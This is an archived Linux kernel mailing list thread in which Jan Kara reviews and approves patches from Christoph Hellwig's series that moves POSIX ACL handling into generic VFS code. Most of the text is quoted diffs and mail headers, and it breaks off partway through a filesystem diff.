> fs/namei.c | 24 +++--------------------- > fs/posix_acl.c | 23 +++++++++++++++++++++++ > include/linux/posix_acl.h | 2 ++ > 3 files changed, 28 insertions(+), 21 deletions(-) > > diff --git a/fs/namei.c b/fs/namei.c > index c53d3a9..8acd1e8 100644 > --- a/fs/namei.c > +++ b/fs/namei.c > @@ -235,27 +235,9 @@ static int check_acl(struct inode *inode, int mask) > return posix_acl_permission(inode, acl, mask & ~MAY_NOT_BLOCK); > } > > - acl = get_cached_acl(inode, ACL_TYPE_ACCESS); > - > - /* > - * A filesystem can force a ACL callback by just never filling the > - * ACL cache. But normally you'd fill the cache either at inode > - * instantiation time, or on the first ->get_acl call. > - * > - * If the filesystem doesn't have a get_acl() function at all, we'll > - * just create the negative cache entry. > - */ > - if (acl == ACL_NOT_CACHED) { > - if (inode->i_op->get_acl) { > - acl = inode->i_op->get_acl(inode, ACL_TYPE_ACCESS); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - } else { > - set_cached_acl(inode, ACL_TYPE_ACCESS, NULL); > - return -EAGAIN; > - } > - } > - > + acl = get_acl(inode, ACL_TYPE_ACCESS); > + if (IS_ERR(acl)) > + return PTR_ERR(acl); > if (acl) { > int error = posix_acl_permission(inode, acl, mask); > posix_acl_release(acl); > diff --git a/fs/posix_acl.c b/fs/posix_acl.c > index 8bd2135..9dd03e0 100644 > --- a/fs/posix_acl.c > +++ b/fs/posix_acl.c > @@ -418,3 +418,26 @@ posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) > return err; > } > EXPORT_SYMBOL(posix_acl_chmod); > + > +struct posix_acl *get_acl(struct inode *inode, int type) > +{ > + struct posix_acl *acl; > + > + acl = get_cached_acl(inode, type); > + if (acl != ACL_NOT_CACHED) > + return acl; > + > + /* > + * A filesystem can force a ACL callback by just never filling the > + * ACL cache. But normally you'd fill the cache either at inode > + * instantiation time, or on the first ->get_acl call. > + * > + * If the filesystem doesn't have a get_acl() function at all, we'll > + * just create the negative cache entry. > + */ > + if (!inode->i_op->get_acl) { > + set_cached_acl(inode, type, NULL); > + return ERR_PTR(-EAGAIN); > + } > + return inode->i_op->get_acl(inode, type); > +} > diff --git a/include/linux/posix_acl.h b/include/linux/posix_acl.h > index 7931efe..a8d9918 100644 > --- a/include/linux/posix_acl.h > +++ b/include/linux/posix_acl.h > @@ -175,4 +175,6 @@ static inline void cache_no_acl(struct inode *inode) > #endif > } > > +struct posix_acl *get_acl(struct inode *inode, int type); > + > #endif /* __LINUX_POSIX_ACL_H */ > -- > 1.7.10.4 > > > -- > To unsubscribe from this list: send the line "unsubscribe linux-ext4" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html -- Jan Kara SUSE Labs, CR From jack@suse.cz Mon Dec 2 14:15:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E57A77F58 for ; Mon, 2 Dec 2013 14:15:21 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5FFCCAC008 for ; Mon, 2 Dec 2013 12:15:18 -0800 (PST) X-ASG-Debug-ID: 1386015316-04cbb0416748abd0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id 7ONJbrkHGUiFlh7D for ; Mon, 02 Dec 2013 12:15:16 -0800 (PST) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 1EA60A7B65; Mon, 2 Dec 2013 21:15:16 +0100 (CET) Received: by quack.suse.cz (Postfix, from userid 1000) id 69CFD81EF4; Mon, 2 Dec 2013 21:15:15 +0100 (CET) Date: Mon, 2 Dec 2013 21:15:15 +0100 From: Jan Kara To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: Re: [PATCH 01/18] reiserfs: prefix ACL symbols with reiserfs_ Message-ID: <20131202201515.GC12253@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH 01/18] reiserfs: prefix ACL symbols with reiserfs_ References: <20131201115903.910559036@bombadil.infradead.org> <20131201120653.694912626@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131201120653.694912626@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1386015316 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142789 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun 01-12-13 03:59:04, Christoph Hellwig wrote: > Signed-off-by: Christoph Hellwig Looks good. You can add: Reviewed-by: Jan Kara Honza > --- > fs/reiserfs/xattr_acl.c | 20 ++++++++++---------- > 1 file changed, 10 insertions(+), 10 deletions(-) > > diff --git a/fs/reiserfs/xattr_acl.c b/fs/reiserfs/xattr_acl.c > index 06c04f7..6f721ea 100644 > --- a/fs/reiserfs/xattr_acl.c > +++ b/fs/reiserfs/xattr_acl.c > @@ -16,7 +16,7 @@ static int reiserfs_set_acl(struct reiserfs_transaction_handle *th, > struct posix_acl *acl); > > static int > -posix_acl_set(struct dentry *dentry, const char *name, const void *value, > +reiserfs_posix_acl_set(struct dentry *dentry, const char *name, const void *value, > size_t size, int flags, int type) > { > struct inode *inode = dentry->d_inode; > @@ -65,7 +65,7 @@ posix_acl_set(struct dentry *dentry, const char *name, const void *value, > } > > static int > -posix_acl_get(struct dentry *dentry, const char *name, void *buffer, > +reiserfs_posix_acl_get(struct dentry *dentry, const char *name, void *buffer, > size_t size, int type) > { > struct posix_acl *acl; > @@ -88,7 +88,7 @@ posix_acl_get(struct dentry *dentry, const char *name, void *buffer, > /* > * Convert from filesystem to in-memory representation. > */ > -static struct posix_acl *posix_acl_from_disk(const void *value, size_t size) > +static struct posix_acl *reiserfs_posix_acl_from_disk(const void *value, size_t size) > { > const char *end = (char *)value + size; > int n, count; > @@ -158,7 +158,7 @@ static struct posix_acl *posix_acl_from_disk(const void *value, size_t size) > /* > * Convert from in-memory to filesystem representation. > */ > -static void *posix_acl_to_disk(const struct posix_acl *acl, size_t * size) > +static void *reiserfs_posix_acl_to_disk(const struct posix_acl *acl, size_t * size) > { > reiserfs_acl_header *ext_acl; > char *e; > @@ -257,7 +257,7 @@ struct posix_acl *reiserfs_get_acl(struct inode *inode, int type) > } else if (retval < 0) { > acl = ERR_PTR(retval); > } else { > - acl = posix_acl_from_disk(value, retval); > + acl = reiserfs_posix_acl_from_disk(value, retval); > } > if (!IS_ERR(acl)) > set_cached_acl(inode, type, acl); > @@ -307,7 +307,7 @@ reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct inode *inode, > } > > if (acl) { > - value = posix_acl_to_disk(acl, &size); > + value = reiserfs_posix_acl_to_disk(acl, &size); > if (IS_ERR(value)) > return (int)PTR_ERR(value); > } > @@ -499,8 +499,8 @@ static size_t posix_acl_access_list(struct dentry *dentry, char *list, > const struct xattr_handler reiserfs_posix_acl_access_handler = { > .prefix = POSIX_ACL_XATTR_ACCESS, > .flags = ACL_TYPE_ACCESS, > - .get = posix_acl_get, > - .set = posix_acl_set, > + .get = reiserfs_posix_acl_get, > + .set = reiserfs_posix_acl_set, > .list = posix_acl_access_list, > }; > > @@ -519,7 +519,7 @@ static size_t posix_acl_default_list(struct dentry *dentry, char *list, > const struct xattr_handler reiserfs_posix_acl_default_handler = { > .prefix = POSIX_ACL_XATTR_DEFAULT, > .flags = ACL_TYPE_DEFAULT, > - .get = posix_acl_get, > - .set = posix_acl_set, > + .get = reiserfs_posix_acl_get, > + .set = reiserfs_posix_acl_set, > .list = posix_acl_default_list, > }; > -- > 1.7.10.4 > > > -- > To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html -- Jan Kara SUSE Labs, CR From jack@suse.cz Mon Dec 2 14:57:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CFDCE7F52 for ; Mon, 2 Dec 2013 14:57:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 52F34AC001 for ; Mon, 2 Dec 2013 12:57:47 -0800 (PST) X-ASG-Debug-ID: 1386017865-04cbb0416948ca10001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id eUijgGbpGvF9wA9A for ; Mon, 02 Dec 2013 12:57:46 -0800 (PST) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id A7668A7CF4; Mon, 2 Dec 2013 21:57:45 +0100 (CET) Received: by quack.suse.cz (Postfix, from userid 1000) id B3FF081EF4; Mon, 2 Dec 2013 21:57:44 +0100 (CET) Date: Mon, 2 Dec 2013 21:57:44 +0100 From: Jan Kara To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: Re: [PATCH 03/18] fs: add a set_acl inode operation Message-ID: <20131202205744.GD12253@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH 03/18] fs: add a set_acl inode operation References: <20131201115903.910559036@bombadil.infradead.org> <20131201120654.027611567@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131201120654.027611567@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1386017865 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142790 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun 01-12-13 03:59:06, Christoph Hellwig wrote: > This will allow moving all the Posix ACL handling into the VFS and clean > up tons of cruft in the filesystems. Looks good. Btw I'd merge this with the following patch... Anyway: Reviewed-by: Jan Kara Honza > > Signed-off-by: Christoph Hellwig > --- > include/linux/fs.h | 1 + > 1 file changed, 1 insertion(+) > > diff --git a/include/linux/fs.h b/include/linux/fs.h > index 121f11f..09f553c 100644 > --- a/include/linux/fs.h > +++ b/include/linux/fs.h > @@ -1580,6 +1580,7 @@ struct inode_operations { > struct file *, unsigned open_flag, > umode_t create_mode, int *opened); > int (*tmpfile) (struct inode *, struct dentry *, umode_t); > + int (*set_acl)(struct inode *, struct posix_acl *, int); > } ____cacheline_aligned; > > ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector, > -- > 1.7.10.4 > > > -- > To unsubscribe from this list: send the line "unsubscribe linux-ext4" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html -- Jan Kara SUSE Labs, CR From jack@suse.cz Mon Dec 2 14:59:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D2B0829DF9 for ; Mon, 2 Dec 2013 14:59:34 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id ADFEE30407F for ; Mon, 2 Dec 2013 12:59:34 -0800 (PST) X-ASG-Debug-ID: 1386017973-04cbb0416948cb30001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id nr5593qzbnDvQNUW for ; Mon, 02 Dec 2013 12:59:33 -0800 (PST) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 2B06CA7CF4; Mon, 2 Dec 2013 21:59:33 +0100 (CET) Received: by quack.suse.cz (Postfix, from userid 1000) id 6BA7E81EF4; Mon, 2 Dec 2013 21:59:32 +0100 (CET) Date: Mon, 2 Dec 2013 21:59:32 +0100 From: Jan Kara To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: Re: [PATCH 04/18] fs: add generic xattr_acl handlers Message-ID: <20131202205932.GE12253@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH 04/18] fs: add generic xattr_acl handlers References: <20131201115903.910559036@bombadil.infradead.org> <20131201120654.211328224@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131201120654.211328224@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1386017973 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142790 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On Sun 01-12-13 03:59:07, Christoph Hellwig wrote: > With the ->set_acl inode operation we can implement the Posix ACL > xattr handlers in generic code instead of duplicating them all > over the tree. Looks good. You can add: Reviewed-by: Jan Kara Honza > > Signed-off-by: Christoph Hellwig > --- > fs/xattr_acl.c | 95 +++++++++++++++++++++++++++++++++++++++ > include/linux/posix_acl_xattr.h | 3 ++ > 2 files changed, 98 insertions(+) > > diff --git a/fs/xattr_acl.c b/fs/xattr_acl.c > index 9fbea87..932ec76 100644 > --- a/fs/xattr_acl.c > +++ b/fs/xattr_acl.c > @@ -10,6 +10,7 @@ > #include > #include > #include > +#include > > /* > * Fix up the uids and gids in posix acl extended attributes in place. > @@ -178,3 +179,97 @@ posix_acl_to_xattr(struct user_namespace *user_ns, const struct posix_acl *acl, > return real_size; > } > EXPORT_SYMBOL (posix_acl_to_xattr); > + > +static int > +posix_acl_xattr_get(struct dentry *dentry, const char *name, > + void *value, size_t size, int type) > +{ > + struct posix_acl *acl; > + int error; > + > + if (!IS_POSIXACL(dentry->d_inode)) > + return -EOPNOTSUPP; > + > + acl = get_acl(dentry->d_inode, type); > + if (IS_ERR(acl)) > + return PTR_ERR(acl); > + if (acl == NULL) > + return -ENODATA; > + > + error = posix_acl_to_xattr(&init_user_ns, acl, value, size); > + posix_acl_release(acl); > + > + return error; > +} > + > +static int > +posix_acl_xattr_set(struct dentry *dentry, const char *name, > + const void *value, size_t size, int flags, int type) > +{ > + struct inode *inode = dentry->d_inode; > + struct posix_acl *acl = NULL; > + int ret; > + > + if (type == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode)) > + return value ? -EACCES : 0; > + if (!inode_owner_or_capable(inode)) > + return -EPERM; > + if (!IS_POSIXACL(inode)) > + return -EOPNOTSUPP; > + > + if (value) { > + acl = posix_acl_from_xattr(&init_user_ns, value, size); > + if (IS_ERR(acl)) > + return PTR_ERR(acl); > + > + if (acl) { > + ret = posix_acl_valid(acl); > + if (ret) > + goto out; > + } > + } > + > + ret = inode->i_op->set_acl(inode, acl, type); > +out: > + posix_acl_release(acl); > + return ret; > +} > + > +static size_t > +posix_acl_xattr_list(struct dentry *dentry, char *list, size_t list_size, > + const char *name, size_t name_len, int type) > +{ > + const char *xname; > + size_t size; > + > + if (!IS_POSIXACL(dentry->d_inode)) > + return -EOPNOTSUPP; > + > + if (type == ACL_TYPE_ACCESS) > + xname = POSIX_ACL_XATTR_ACCESS; > + else > + xname = POSIX_ACL_XATTR_DEFAULT; > + > + size = strlen(xname) + 1; > + if (list && size <= list_size) > + memcpy(list, xname, size); > + return size; > +} > + > +const struct xattr_handler posix_acl_access_xattr_handler = { > + .prefix = POSIX_ACL_XATTR_ACCESS, > + .flags = ACL_TYPE_ACCESS, > + .list = posix_acl_xattr_list, > + .get = posix_acl_xattr_get, > + .set = posix_acl_xattr_set, > +}; > +EXPORT_SYMBOL_GPL(posix_acl_access_xattr_handler); > + > +const struct xattr_handler posix_acl_default_xattr_handler = { > + .prefix = POSIX_ACL_XATTR_DEFAULT, > + .flags = ACL_TYPE_DEFAULT, > + .list = posix_acl_xattr_list, > + .get = posix_acl_xattr_get, > + .set = posix_acl_xattr_set, > +}; > +EXPORT_SYMBOL_GPL(posix_acl_default_xattr_handler); > diff --git a/include/linux/posix_acl_xattr.h b/include/linux/posix_acl_xattr.h > index ad93ad0..6f14ee2 100644 > --- a/include/linux/posix_acl_xattr.h > +++ b/include/linux/posix_acl_xattr.h > @@ -69,4 +69,7 @@ struct posix_acl *posix_acl_from_xattr(struct user_namespace *user_ns, > int posix_acl_to_xattr(struct user_namespace *user_ns, > const struct posix_acl *acl, void *buffer, size_t size); > > +extern const struct xattr_handler posix_acl_access_xattr_handler; > +extern const struct xattr_handler posix_acl_default_xattr_handler; > + > #endif /* _POSIX_ACL_XATTR_H */ > -- > 1.7.10.4 > > > -- > To unsubscribe from this list: send the line "unsubscribe linux-ext4" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html -- Jan Kara SUSE Labs, CR From jack@suse.cz Mon Dec 2 15:09:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7B87229DF9 for ; Mon, 2 Dec 2013 15:09:42 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6A298304084 for ; Mon, 2 Dec 2013 13:09:39 -0800 (PST) X-ASG-Debug-ID: 1386018577-04cb6c537d487ea0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id 2Zaoaj4PqVHJDY43 for ; Mon, 02 Dec 2013 13:09:37 -0800 (PST) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 4F62CA7D41; Mon, 2 Dec 2013 22:09:37 +0100 (CET) Received: by quack.suse.cz (Postfix, from userid 1000) id 3D40481EF4; Mon, 2 Dec 2013 22:09:36 +0100 (CET) Date: Mon, 2 Dec 2013 22:09:36 +0100 From: Jan Kara To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: Re: [PATCH 05/18] fs: make posix_acl_chmod more useful Message-ID: <20131202210936.GF12253@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH 05/18] fs: make posix_acl_chmod more useful References: <20131201115903.910559036@bombadil.infradead.org> <20131201120654.453220050@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131201120654.453220050@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1386018577 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142790 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun 01-12-13 03:59:08, Christoph Hellwig wrote: > Rename the current posix_acl_chmod to __posix_acl_chmod and add > a fully featured ACL chmod helper that uses the ->set_acl inode > operation. Looks good. You can add: Reviewed-by: Jan Kara Honza > > Signed-off-by: Christoph Hellwig > --- > fs/9p/acl.c | 2 +- > fs/btrfs/acl.c | 2 +- > fs/ext2/acl.c | 2 +- > fs/ext3/acl.c | 2 +- > fs/ext4/acl.c | 2 +- > fs/f2fs/acl.c | 2 +- > fs/generic_acl.c | 2 +- > fs/gfs2/acl.c | 2 +- > fs/hfsplus/posix_acl.c | 2 +- > fs/jffs2/acl.c | 2 +- > fs/jfs/acl.c | 2 +- > fs/ocfs2/acl.c | 2 +- > fs/posix_acl.c | 30 +++++++++++++++++++++++++++--- > fs/reiserfs/xattr_acl.c | 2 +- > fs/xfs/xfs_acl.c | 2 +- > include/linux/posix_acl.h | 17 +++++++++++++---- > 16 files changed, 54 insertions(+), 21 deletions(-) > > diff --git a/fs/9p/acl.c b/fs/9p/acl.c > index 7af425f..f5ce5c5 100644 > --- a/fs/9p/acl.c > +++ b/fs/9p/acl.c > @@ -156,7 +156,7 @@ int v9fs_acl_chmod(struct inode *inode, struct p9_fid *fid) > return -EOPNOTSUPP; > acl = v9fs_get_cached_acl(inode, ACL_TYPE_ACCESS); > if (acl) { > - retval = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > + retval = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > if (retval) > return retval; > set_cached_acl(inode, ACL_TYPE_ACCESS, acl); > diff --git a/fs/btrfs/acl.c b/fs/btrfs/acl.c > index 0890c83..1af04ff 100644 > --- a/fs/btrfs/acl.c > +++ b/fs/btrfs/acl.c > @@ -256,7 +256,7 @@ int btrfs_acl_chmod(struct inode *inode) > if (IS_ERR_OR_NULL(acl)) > return PTR_ERR(acl); > > - ret = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > + ret = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > if (ret) > return ret; > ret = btrfs_set_acl(NULL, inode, acl, ACL_TYPE_ACCESS); > diff --git a/fs/ext2/acl.c b/fs/ext2/acl.c > index 110b6b3..7006ced 100644 > --- a/fs/ext2/acl.c > +++ b/fs/ext2/acl.c > @@ -308,7 +308,7 @@ ext2_acl_chmod(struct inode *inode) > acl = ext2_get_acl(inode, ACL_TYPE_ACCESS); > if (IS_ERR(acl) || !acl) > return PTR_ERR(acl); > - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > if (error) > return error; > error = ext2_set_acl(inode, ACL_TYPE_ACCESS, acl); > diff --git a/fs/ext3/acl.c b/fs/ext3/acl.c > index dbb5ad5..6691a6c 100644 > --- a/fs/ext3/acl.c > +++ b/fs/ext3/acl.c > @@ -314,7 +314,7 @@ ext3_acl_chmod(struct inode *inode) > acl = ext3_get_acl(inode, ACL_TYPE_ACCESS); > if (IS_ERR(acl) || !acl) > return PTR_ERR(acl); > - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > if (error) > return error; > retry: > diff --git a/fs/ext4/acl.c b/fs/ext4/acl.c > index 39a54a0..2eebe02 100644 > --- a/fs/ext4/acl.c > +++ b/fs/ext4/acl.c > @@ -320,7 +320,7 @@ ext4_acl_chmod(struct inode *inode) > acl = ext4_get_acl(inode, ACL_TYPE_ACCESS); > if (IS_ERR(acl) || !acl) > return PTR_ERR(acl); > - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > if (error) > return error; > retry: > diff --git a/fs/f2fs/acl.c b/fs/f2fs/acl.c > index d0fc287..14c4df0 100644 > --- a/fs/f2fs/acl.c > +++ b/fs/f2fs/acl.c > @@ -311,7 +311,7 @@ int f2fs_acl_chmod(struct inode *inode) > if (IS_ERR(acl) || !acl) > return PTR_ERR(acl); > > - error = posix_acl_chmod(&acl, GFP_KERNEL, mode); > + error = __posix_acl_chmod(&acl, GFP_KERNEL, mode); > if (error) > return error; > > diff --git a/fs/generic_acl.c b/fs/generic_acl.c > index b3f3676..46a5076 100644 > --- a/fs/generic_acl.c > +++ b/fs/generic_acl.c > @@ -158,7 +158,7 @@ generic_acl_chmod(struct inode *inode) > return -EOPNOTSUPP; > acl = get_cached_acl(inode, ACL_TYPE_ACCESS); > if (acl) { > - error = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > + error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > if (error) > return error; > set_cached_acl(inode, ACL_TYPE_ACCESS, acl); > diff --git a/fs/gfs2/acl.c b/fs/gfs2/acl.c > index f69ac0a..3e200c7 100644 > --- a/fs/gfs2/acl.c > +++ b/fs/gfs2/acl.c > @@ -162,7 +162,7 @@ int gfs2_acl_chmod(struct gfs2_inode *ip, struct iattr *attr) > if (!acl) > return gfs2_setattr_simple(inode, attr); > > - error = posix_acl_chmod(&acl, GFP_NOFS, attr->ia_mode); > + error = __posix_acl_chmod(&acl, GFP_NOFS, attr->ia_mode); > if (error) > return error; > > diff --git a/fs/hfsplus/posix_acl.c b/fs/hfsplus/posix_acl.c > index b609cc1..cab5fd6 100644 > --- a/fs/hfsplus/posix_acl.c > +++ b/fs/hfsplus/posix_acl.c > @@ -167,7 +167,7 @@ int hfsplus_posix_acl_chmod(struct inode *inode) > if (IS_ERR(acl) || !acl) > return PTR_ERR(acl); > > - err = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > + err = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > if (unlikely(err)) > return err; > > diff --git a/fs/jffs2/acl.c b/fs/jffs2/acl.c > index 223283c..5853969 100644 > --- a/fs/jffs2/acl.c > +++ b/fs/jffs2/acl.c > @@ -335,7 +335,7 @@ int jffs2_acl_chmod(struct inode *inode) > acl = jffs2_get_acl(inode, ACL_TYPE_ACCESS); > if (IS_ERR(acl) || !acl) > return PTR_ERR(acl); > - rc = posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > + rc = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > if (rc) > return rc; > rc = jffs2_set_acl(inode, ACL_TYPE_ACCESS, acl); > diff --git a/fs/jfs/acl.c b/fs/jfs/acl.c > index d254d6d..9c0fca8 100644 > --- a/fs/jfs/acl.c > +++ 